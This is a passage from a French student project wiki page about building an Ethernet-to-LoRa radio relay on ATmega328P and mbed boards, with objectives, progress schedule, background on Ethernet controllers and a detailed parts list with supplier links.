[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39274</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39274"/>
				<updated>2017-02-16T16:46:31Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
